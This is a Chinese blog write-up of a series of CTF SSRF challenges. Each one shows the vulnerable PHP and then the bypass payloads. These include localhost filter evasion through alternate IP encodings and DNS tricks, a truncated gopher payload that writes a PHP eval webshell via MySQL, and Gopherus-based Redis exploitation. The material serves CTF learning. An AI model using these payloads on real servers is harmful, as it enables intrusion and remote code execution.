SSRF

SSRF

SSRF

web361

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);  # CURLOPT_HEADER 启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); # CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

首先了解这几个函数

curl_init()     # curl_init — 初始化一个cURL会话

curl_setopt()       # curl_setopt — 设置一个cURL传输选项。

curl_exec()     # curl_exec — 执行一个cURL会话

curl_close()        # curl_close — 关闭一个cURL会话

也就是说,我们post传入参数之后,会帮我们进行访问

我们直接访问flag.php可以看到,禁止非本地用户访问

那么我们就可以构造url让服务器替我们去访问内部的文件
payload:

url=file:///var/www/html/flag.php
或
url=http://127.0.0.1/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    if (!preg_match('/localhost|127.0.0/')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}
?>
parse_url()     # 将url解析成数组的形式
$x['scheme']==='http'||$x['scheme']==='https')      # 就是判断协议是http或者https
preg_match('/localhost|127.0.0/')     # url中不允许出现localhost或者127.0.0

parse_url()示例

$url = "https://www.example.com/path?param1=value1&param2=value2";
$x = parse_url($url);
print_r($x);

输出结果将类似于下面的内容:
Array
(
    [scheme] => https
    [host] => www.example.com
    [path] => /path
    [query] => param1=value1&param2=value2
)

ip地址进制转换

127.0.0.1
十进制整数:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php
八进制:url=http://0177.0.0.1/flag.php
十六进制整数:url=http://0x7F000001/flag.php

web353

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

payload同上

127.0.0.1
十进制整数:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php
八进制:url=http://0177.0.0.1/flag.php
十六进制整数:url=http://0x7F000001/flag.php

其他方法

缺省模式:127.0.0.1写成127.1
CIDR:url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

域名指向127
在自己的域名中添加一条A记录指向 127.0.0.1
或者使用 http://sudo.cc这个域名就是指向127.0.0.1
payload:

url=http://sudo.cc/flag.php

web355

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

这次需要host的长度小于5

因为127.1也可以被解析成127.0.0.1
Alt text
payload:

url=http://127.1/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

限制host<=3

在linux下,ping 0 会ping到127.0.0.1
Alt text
而在下0会解析到0.0.0.0
Alt text

payload:

url=http://0/flag.php

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 
正则表达式 /^http:\/\/ctf\..*show$/i 中的元字符和模式修饰符具有以下含义:

/:正则表达式的开始和结束标记。
^:匹配字符串的开头。
http:\/\/ctf\.:匹配以 http://ctf. 开头的字符串。需要使用反斜杠 \ 对特殊字符进行转义。
.*:匹配任意字符(除换行符外)的零个或多个重复。
show:匹配字符串中的 show。
$:匹配字符串的结尾。
/i:模式修饰符,表示不区分大小写匹配。

必须匹配到正则表达式才可以输出文件内容,也就是必须以http://ctf.开头,以show结尾

使用http://[email protected]匹配开头,会解析到127.0.0.1,#show结尾
payload:

url=http://[email protected]/flag.php#show

web359

打无密码的mysql

使用Gopherus直接生成gopher url,将对check.php的传参进行修改,成功写入一句话。

在url 中提交ssrf poc的时候得再进行一次url 编码,下面已经二次编码。
payload:

returl=gopher://127.0.0.1%3A3306%2F_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2548%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%256f%2572%2564%255d%2529%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2

Gopherus工具在kali里面
使用方法:
Alt text

web360

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

简单说,漏洞的产生条件有以下两点:

redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务
Alt text

用gopherus工具生成 payload

.\gopherus.py --exploit redis

Alt text
需要把 _ 后边的字符串再进行一次 url 编码
默认会生成 shell.php 文件,直接命令执行即可

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注